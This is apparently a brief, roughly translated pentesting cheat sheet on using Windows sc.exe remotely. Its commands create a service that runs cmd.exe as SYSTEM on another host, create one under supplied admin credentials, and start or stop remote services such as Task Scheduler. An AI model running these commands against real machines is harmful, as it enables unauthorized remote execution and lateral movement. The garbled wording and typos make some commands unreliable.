SC in the penetration of the commonly used functions of three, remote implementation of things, remote on/off service, check service information, such as the service EXE path.
1.1 Execute Command (System permissions):
Other Execute command Method reference: http://bra.adminsec.com/security/787.html
SC 10.1.1.1 create Winnt binpath= C:cmd.exe
SC 10.1.1.1 start Winnt
SC 10.1.1.1 Delete winnt
1.2 Execute command (Specify user rights)
SC 10.1.1.1 Create Adminsec binpath = "C:pass.exe" obj= "Adminsecadministrator" passwrod= adminsec
SC IP Start testsrvname
2, remote turn on/off services, such as start planning tasks. Feel at the execution of something better than the SC compatibility.
Sc.exe 10.1.1.1 Config Schedule start= Auto//note = There is a space at the back, sometimes not anto open unsuccessful.
Sc.exe 10.1.1.1 Start "Schedule"
To close a service:
sc getkeyname "Task Scheduler"//Get Service Name
sc stop "Schedule"
Other tricks, such as needing to get the execution file path for a service.
SC QC Schedule
Ps:sc to be aware of is the service name and display name, these 2 are different concepts